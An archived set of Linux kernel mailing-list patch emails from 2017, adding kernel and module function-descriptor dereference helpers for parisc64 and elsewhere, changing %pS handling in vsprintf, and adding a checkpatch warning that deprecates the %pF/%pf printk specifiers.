X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=BN46O+s3L77gknn0aCxUnu8+0O1IITmhZhbaANaB8vw=;
        b=JcfieEET3PXpxvvh7kvPeqwxuDKccVq7mAwxA9M86pUvxl9cPvNj7JjAHNenUc6VGm
         ACluv+n5tRRWMZZvRJNCuD4M1JiwyILGoRKec83fhcd7SQXI+rxlmwVHNDaHUyNAQCaj
         U5nKg5Ml9VJtslMcsVkMJ24LxxUUSIXtQ9PzX3DX4EDbgui2UAegaRKYftu7wmsCHJFt
         TQPLfEfie61DUhGgEBbg/wPaB7RpUrEu1mP5P3RlIxqIZ8LLsWsjwgMLTzGIIr5jAK2v
         /rxzzcAf4HioIxXDXX24E7l0d5nlqtpZImTWvG072Hz/nUTUzyZHkRGfrdPXdm7yrbtt
         6usQ==
X-Gm-Message-State: AJaThX6DT5byuXMmHd51Mg0q3zBeIaw3RhnAYgENrNBmHDlN/GRQbq14
        n18hBULJi0DqKoeJ1V4xqRc=
X-Google-Smtp-Source: ABhQp+QHjY61nAPUYKPvGsxEWgK1hvnW/PM1tCJe40m3lPBs6QLEt9WdIZ1P4wfZlb+1sKVqKB/t2Q==
X-Received: by 10.98.166.148 with SMTP id r20mr2187866pfl.80.1510271446157;
        Thu, 09 Nov 2017 15:50:46 -0800 (PST)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id t25sm13160477pfh.67.2017.11.09.15.50.41
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Nov 2017 15:50:45 -0800 (PST)
X-Mailer: git-send-email 2.15.0
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27958 gmane.linux.ports.ia64:28297 gmane.linux.ports.ppc64.devel:150115 gmane.linux.kernel:2613941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27958>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for parisc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd);

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end).

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  6 ++++++
 arch/parisc/kernel/module.c               | 16 ++++++++++++++++
 arch/parisc/kernel/process.c              |  9 +++++++++
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 5 files changed, 35 insertions(+)

diff --git a/arch/parisc/boot/compressed/vmlinux.lds.S b/arch/parisc/boot/compressed/vmlinux.lds.S
index a4ce3314e78e..4ebd4e65524c 100644
--- a/arch/parisc/boot/compressed/vmlinux.lds.S
+++ b/arch/parisc/boot/compressed/vmlinux.lds.S
@@ -29,7 +29,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
diff --git a/arch/parisc/include/asm/sections.h b/arch/parisc/include/asm/sections.h
index accdf40aa5b7..5a40b51df80c 100644
--- a/arch/parisc/include/asm/sections.h
+++ b/arch/parisc/include/asm/sections.h
@@ -6,8 +6,14 @@
 #include <asm-generic/sections.h>
 
 #ifdef CONFIG_64BIT
+
+#define HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR 1
+
 #undef dereference_function_descriptor
 void *dereference_function_descriptor(void *);
+
+#undef dereference_kernel_function_descriptor
+void *dereference_kernel_function_descriptor(void *);
 #endif
 
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index f1a76935a314..b5b3cb00f1fb 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -66,6 +66,7 @@
 
 #include <asm/pgtable.h>
 #include <asm/unwind.h>
+#include <asm/sections.h>
 
 #if 0
 #define DEBUGP printk
@@ -954,3 +955,18 @@ void module_arch_cleanup(struct module *mod)
 {
 	deregister_unwind_table(mod);
 }
+
+#ifdef CONFIG_64BIT
+void *dereference_module_function_descriptor(struct module *mod, void *ptr)
+{
+	unsigned long start_opd = (Elf64_Addr)mod->core_layout.base +
+				   mod->arch.fdesc_offset;
+	unsigned long end_opd = start_opd +
+				mod->arch.fdesc_count * sizeof(Elf64_Fdesc);
+
+	if (ptr < (void *)start_opd || ptr >= (void *)end_opd)
+		return ptr;
+
+	return dereference_function_descriptor(ptr);
+}
+#endif
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 30f92391a93e..6c4585103a91 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -276,6 +276,15 @@ void *dereference_function_descriptor(void *ptr)
 		ptr = p;
 	return ptr;
 }
+
+void *dereference_kernel_function_descriptor(void *ptr)
+{
+	if (ptr < (void *)__start_opd ||
+			ptr >= (void *)__end_opd)
+		return ptr;
+
+	return dereference_function_descriptor(ptr);
+}
 #endif
 
 static inline unsigned long brk_rnd(void)
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 159a2ec0b4e0..da2e31190efa 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -100,7 +100,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
-- 
2.15.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv4 6/6] checkpatch: add pF/pf deprecation warning
Date: Fri, 10 Nov 2017 08:48:30 +0900
Lines: 52
Approved: news@gmane.org
Message-ID: <20171109234830.5067-7-sergey.senozhatsky@gmail.com>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510271461 20995 195.159.176.226 (9 Nov 2017 23:51:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Nov 2017 23:51:01 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Joe Perches <joe@perches.com>,
        Andy Whitcroft <apw@canonical.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Nov 10 00:50:53 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eCwaz-00059L-JC
	for glpi-linux-ia64-2@m.gmane.org; Fri, 10 Nov 2017 00:50:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755230AbdKIXvA (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 9 Nov 2017 18:51:00 -0500
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:49414 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755451AbdKIXu6 (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Thu, 9 Nov 2017 18:50:58 -0500
Original-Received: by mail-pf0-f195.google.com with SMTP id i5so5432316pfe.6;
        Thu, 09 Nov 2017 15:50:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=lpzKS3JpiOqhQnEZgGht2QeeVsMdmyhYxYy367LbDrk=;
        b=N6GJauWDOh9cL0odbBVH1qUcPsf9jSTHSTMJw+YcNuXL8IXxORTwxvTyw3cBYuzTNp
         tHLC2snmn7EvR8oCRvSFgFKiTnkshsIptREk/mOaRB7+dXGdcDxAegCWL+1vl29RHYze
         z/pKB2SY7Cs6vDtPZpk4WP0YtFq4ua/47y3++zND7F9/AdqRj3y/W7pYn/Vaw1bNivsK
         t+vP9MiB5R5NKhUkLpf4GK0Om6uQLJCwlvhUAtOIH9XZ1gBKOIzAqyMKOuqIbmZwx1wl
         iuxfV0Oxc/9F7IKv1HTaFFI1KSYc1WLvcCafO6++iamta1RGno4JOnQ4PfAAPNu1FWuV
         SsGQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=lpzKS3JpiOqhQnEZgGht2QeeVsMdmyhYxYy367LbDrk=;
        b=i8vuvbBfagTNwvbjrl5xYdSGpo5Mf9qJ0ibY7Nx6VlC3OzNMAEo+dTBa4wEq16swJ2
         gs+a5AQEDYoOl2FKjlbtvMkprK4uvUzMKiUPL1Lx1R7OJTM8ju3wCXU3smOlAD+l/05B
         sOga5PNhqyYZJwxnWggmZcK3OJeJhOQAF9RoUEZU2oOLTk855GM9/X+Kdq9sqAMgP06y
         qBvLCimva96iP8h0cpu+na4UPoGF1E8deEQevzi8wjJRnA6yjZ6OwX7zID1VNkGyMOQo
         yJTHRYFt0kAKcber1OL5w0qDQokAPD/DNvOEHo3dj2Z4QKTgCaP46J/nPZuezPuqC60t
         DHKQ==
X-Gm-Message-State: AJaThX6q3idzWmJPl3rIbctEvq/1SjpciIz2ieFj/VukHWrORO7akZ0C
        SC1JgicPuhZBLA+ZHsIML8Y=
X-Google-Smtp-Source: ABhQp+Qws/PIuaomO/wTOmkrz9nO6YRP2czgooeCpPc/kdXzsQ/INez0Ct+Eh/BoaotIG3Qwg5/l9A==
X-Received: by 10.98.248.5 with SMTP id d5mr2213018pfh.118.1510271457634;
        Thu, 09 Nov 2017 15:50:57 -0800 (PST)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id t25sm13160477pfh.67.2017.11.09.15.50.52
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Nov 2017 15:50:57 -0800 (PST)
X-Mailer: git-send-email 2.15.0
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28298 gmane.linux.ports.parisc:27959 gmane.linux.ports.ppc64.devel:150116 gmane.linux.kernel:2613942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28298>

We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
enough to handle function pointer dereference on platforms where such
dereference is required.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Signed-off-by: Joe Perches <joe@perches.com>
Cc: Andy Whitcroft <apw@canonical.com>
Reviewed-by: Petr Mladek <pmladek@suse.com>
---
 scripts/checkpatch.pl | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
index 3453df9f90ab..d081a2b7166e 100755
--- a/scripts/checkpatch.pl
+++ b/scripts/checkpatch.pl
@@ -5752,18 +5752,25 @@ sub process {
 		        for (my $count = $linenr; $count <= $lc; $count++) {
 				my $fmt = get_quoted_string($lines[$count - 1], raw_line($count, 0));
 				$fmt =~ s/%%//g;
-				if ($fmt =~ /(\%[\*\d\.]*p(?![\WFfSsBKRraEhMmIiUDdgVCbGNO]).)/) {
+				if ($fmt =~ /(\%[\*\d\.]*p(?![\WSsBKRraEhMmIiUDdgVCbGNO]).)/) {
 					$bad_extension = $1;
 					last;
 				}
 			}
 			if ($bad_extension ne "") {
 				my $stat_real = raw_line($linenr, 0);
+				my $ext_type = "Invalid";
+				my $use = "";
 				for (my $count = $linenr + 1; $count <= $lc; $count++) {
 					$stat_real = $stat_real . "\n" . raw_line($count, 0);
 				}
+				if ($bad_extension =~ /p[Ff]/) {
+					$ext_type = "Deprecated";
+					$use = " - use %pS instead";
+					$use =~ s/pS/ps/ if ($bad_extension =~ /pf/);
+				}
 				WARN("VSPRINTF_POINTER_EXTENSION",
-				     "Invalid vsprintf pointer extension '$bad_extension'\n" . "$here\n$stat_real\n");
+				     "$ext_type vsprintf pointer extension '$bad_extension'$use\n" . "$here\n$stat_real\n");
 			}
 		}
 
-- 
2.15.0

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCHv4 5/6] symbol lookup: introduce dereference_symbol_descriptor()
Date: Fri, 10 Nov 2017 08:48:29 +0900
Lines: 174
Approved: news@gmane.org
Message-ID: <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510271484 24637 195.159.176.226 (9 Nov 2017 23:51:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Nov 2017 23:51:24 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Nov 10 00:51:19 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eCwbO-0006Ax-QR
	for glk-linux-kernel-3@m.gmane.org; Fri, 10 Nov 2017 00:51:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755432AbdKIXu4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 9 Nov 2017 18:50:56 -0500
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:51483 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755383AbdKIXuw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 9 Nov 2017 18:50:52 -0500
Original-Received: by mail-pf0-f193.google.com with SMTP id j28so3101964pfk.8;
        Thu, 09 Nov 2017 15:50:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=gBEgXOJBzLHOxPJ8KiISypx9SW4dgzTQv6pFfa20/w4=;
        b=VkCc6weJqwrSRWclAYxQSMLVJIICzRe+5jC8ztEkdmVJ+24CNe/4jHTOsKae1/W3aE
         aDiDj4I5H98lCPfADB6Bw9N7zzLDFgniry6RmD7e/vnTLWGzxEOOulBMosQbZVxYTvyF
         vIn4yLXlTYwsnE6gQhw8B9UUPv7X2DNR4hQQLTEaPcQQhcNtNHXykXz0VBeVO2OG6XwW
         uKrBRV8kOvnsQXWj3QsTOIuVj3IpU8xQHmZ0YuQ5A0vRiT/xeHFukQ4PZgj5p36AyIw7
         7/erskcEagNVpE5PIvTWj6YqzHUXdDoGhjQ+KFfsHEdWD0FOJAKzfUqUqvrwoucxQv6Z
         D9fg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=gBEgXOJBzLHOxPJ8KiISypx9SW4dgzTQv6pFfa20/w4=;
        b=dx8HsoxMse9Uszqsbxc26jgQMhBuh2RXpvfklq0B6KMHSD+2tI7P4QT1Hw9G/3OHW1
         v3X/sI28Z1FT0LC5UKd/HL6T+2q39dxWIU/aQIvOkVWpOtQ1eL13Dr8wMm7r4PD5PPxQ
         hxB3QLex/sYx5f2Wef9WKZ2Z78ECRd3S3jZBvKOAu6BcYuWD7CPKOvJnxOSnQd6aXiZl
         o+sZu1RkOCmwgecBIiQwLSa35ja24vVPmsgln7/Z8Ls9oB+4Dk5UEf/qfIrW6eCYmC5X
         tlSlbHfIkjwZ5jMAE1Ee4lOyAZLHqpl28JcllWYzk4czSyvAY9NffZrfvHmIY5m2plS+
         y2ig==
X-Gm-Message-State: AJaThX7MpLIuEXYarwHE3ufvDPpxbmxXH4aopZ217hD0Mu3V5OSNm8AH
        na3rFpLHh8ZkJ2anMlxZlqQ=
X-Google-Smtp-Source: ABhQp+S2+KZagx7Eu7kHnOE5hoy7P1XfkgqeQ1KWNWGDvg5ZeSqb12E8tMQbXRQyXK0PlMigZ1LQ8w==
X-Received: by 10.98.17.7 with SMTP id z7mr2205572pfi.206.1510271451668;
        Thu, 09 Nov 2017 15:50:51 -0800 (PST)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id t25sm13160477pfh.67.2017.11.09.15.50.46
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Nov 2017 15:50:51 -0800 (PST)
X-Mailer: git-send-email 2.15.0
In-Reply-To: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2613943 gmane.linux.ports.ia64:28299 gmane.linux.ports.parisc:27960 gmane.linux.ports.ppc64.devel:150117
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2613943>

dereference_symbol_descriptor() invokes appropriate ARCH specific
function descriptor dereference callbacks:
- dereference_kernel_function_descriptor() if the pointer is a
  kernel symbol;

- dereference_module_function_descriptor() if the pointer is a
  module symbol.

This is the last step needed to make '%pS/%ps' smart enough to
handle function descriptor dereference on affected ARCHs and
to retire '%pF/%pf'.

To refresh it:
  Some architectures (ia64, ppc64, parisc64) use an indirect pointer
  for C function pointers - the function pointer points to a function
  descriptor and we need to dereference it to get the actual function
  pointer.

  Function descriptors live in .opd elf section and all affected
  ARCHs (ia64, ppc64, parisc64) handle it properly for kernel and
  modules. So we, technically, can decide if the dereference is
  needed by simply looking at the pointer: if it belongs to .opd
  section then we need to dereference it.

  The kernel and modules have their own .opd sections, obviously,
  that's why we need to split dereference_function_descriptor()
  and use separate kernel and module dereference arch callbacks.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 Documentation/printk-formats.txt | 49 ++++++++++++++++------------------------
 include/linux/kallsyms.h         |  2 ++
 kernel/kallsyms.c                | 19 ++++++++++++++++
 lib/vsprintf.c                   |  5 ++--
 4 files changed, 42 insertions(+), 33 deletions(-)

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index 361789df51ec..2f17e684b72e 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -50,42 +50,31 @@ Symbols/Function Pointers
 
 ::
 
-	%pF	versatile_init+0x0/0x110
-	%pf	versatile_init
-	%pS	versatile_init+0x0/0x110
-	%pSR	versatile_init+0x9/0x110
-		(with __builtin_extract_return_addr() translation)
-	%ps	versatile_init
-	%pB	prev_fn_of_versatile_init+0x88/0x88
-
-The ``F`` and ``f`` specifiers are for printing function pointers,
-for example, f->func, &gettimeofday. They have the same result as
-``S`` and ``s`` specifiers. But they do an extra conversion on
-ia64, ppc64 and parisc64 architectures where the function pointers
-are actually function descriptors.
-
-The ``S`` and ``s`` specifiers can be used for printing symbols
-from direct addresses, for example, __builtin_return_address(0),
-(void *)regs->ip. They result in the symbol name with (``S``) or
-without (``s``) offsets. If KALLSYMS are disabled then the symbol
-address is printed instead.
+        %pS     versatile_init+0x0/0x110
+        %ps     versatile_init
+        %pF     versatile_init+0x0/0x110
+        %pf     versatile_init
+        %pSR    versatile_init+0x9/0x110
+                (with __builtin_extract_return_addr() translation)
+        %pB     prev_fn_of_versatile_init+0x88/0x88
+
+The ``S`` and ``s`` specifiers are used for printing a pointer in symbolic
+format. They result in the symbol name with (``S``) or without (``s``)
+offsets. If KALLSYMS are disabled then the symbol address is printed instead.
+
+Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
+and thus deprecated. We have ``F`` and ``f`` because on ia64, ppc64 and
+parisc64 function pointers are indirect and, in fact, are function
+descriptors, which require additional dereferencing before we can lookup
+the symbol. As of now, ``S`` and ``s`` perform dereferencing on those
+platforms (when needed), so ``F`` and ``f`` exist for compatibility
+reasons only.
 
 The ``B`` specifier results in the symbol name with offsets and should be
 used when printing stack backtraces. The specifier takes into
 consideration the effect of compiler optimisations which may occur
 when tail-call``s are used and marked with the noreturn GCC attribute.
 
-Examples::
-
-	printk("Going to call: %pF\n", gettimeofday);
-	printk("Going to call: %pF\n", p->func);
-	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
-	printk("%s: called from %pS\n", __func__,
-				(void *)__builtin_return_address(0));
-	printk("Faulted at %pS\n", (void *)regs->ip);
-	printk(" %s%pB\n", (reliable ? "" : "? "), (void *)*stack);
-
-
 Kernel Pointers
 ===============
 
diff --git a/include/linux/kallsyms.h b/include/linux/kallsyms.h
index 11dd93e42580..73f7e874c3e1 100644
--- a/include/linux/kallsyms.h
+++ b/include/linux/kallsyms.h
@@ -16,6 +16,8 @@
 
 struct module;
 
+void *dereference_symbol_descriptor(void *ptr);
+
 #ifdef CONFIG_KALLSYMS
 /* Lookup the address for a symbol. Returns 0 if not found. */
 unsigned long kallsyms_lookup_name(const char *name);
diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
index 1966fe1c2b57..18b3dffc4b84 100644
--- a/kernel/kallsyms.c
+++ b/kernel/kallsyms.c
@@ -411,6 +411,25 @@ static int __sprint_symbol(char *buffer, unsigned long address,
 	return len;
 }
 
+void *dereference_symbol_descriptor(void *ptr)
+{
+#ifdef HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR
+	struct module *mod;
+
+	ptr = dereference_kernel_function_descriptor(ptr);
+	if (is_ksym_addr((unsigned long)ptr))
+		return ptr;
+
+	preempt_disable();
+	mod = __module_address((unsigned long)ptr);
+	preempt_enable();
+
+	if (mod)
+		ptr = dereference_module_function_descriptor(mod, ptr);
+#endif
+	return ptr;
+}
+
 /**
  * sprint_symbol - Look up a kernel symbol and return it in a text buffer
  * @buffer: buffer to be stored
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index 1746bae94d41..16e2eefb0f79 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -40,7 +40,6 @@
 #include "../mm/internal.h"	/* For the trace_print_flags arrays */
 
 #include <asm/page.h>		/* for PAGE_SIZE */
-#include <asm/sections.h>	/* for dereference_function_descriptor() */
 #include <asm/byteorder.h>	/* cpu_to_le16 */
 
 #include <linux/string_helpers.h>
@@ -1723,10 +1722,10 @@ char *pointer(const char *fmt, char *buf, char *end, void *ptr,
 	switch (*fmt) {
 	case 'F':
 	case 'f':
-		ptr = dereference_function_descriptor(ptr);
-		/* Fallthrough */
 	case 'S':
 	case 's':
+		ptr = dereference_symbol_descriptor(ptr);
+		/* Fallthrough */
 	case 'B':
 		return symbol_string(buf, end, ptr, spec, fmt);
 	case 'R':
-- 
2.15.0



From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 5/6] symbol lookup: introduce
 dereference_symbol_descriptor()
Date: Fri, 10 Nov 2017 10:09:32 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20171110180931.xhhi35osclzceba2@agluck-desk>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510337373 26151 195.159.176.226 (10 Nov 2017 18:09:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 10 Nov 2017 18:09:33 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Fenghua Yu <fenghua.yu@intel.com>, Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Nov 10 19:09:27 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eDDk6-0006pT-PX
	for glpi-linux-ia64-2@m.gmane.org; Fri, 10 Nov 2017 19:09:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753114AbdKJSJe (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 10 Nov 2017 13:09:34 -0500
Original-Received: from mga06.intel.com ([134.134.136.31]:30062 "EHLO mga06.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753338AbdKJSJd (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Fri, 10 Nov 2017 13:09:33 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga104.jf.intel.com with ESMTP; 10 Nov 2017 10:09:33 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.44,375,1505804400"; 
   d="scan'208";a="6263641"
Original-Received: from agluck-desk.sc.intel.com (HELO agluck-desk) ([10.3.52.160])
  by orsmga002.jf.intel.com with ESMTP; 10 Nov 2017 10:09:32 -0800
Content-Disposition: inline
In-Reply-To: <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
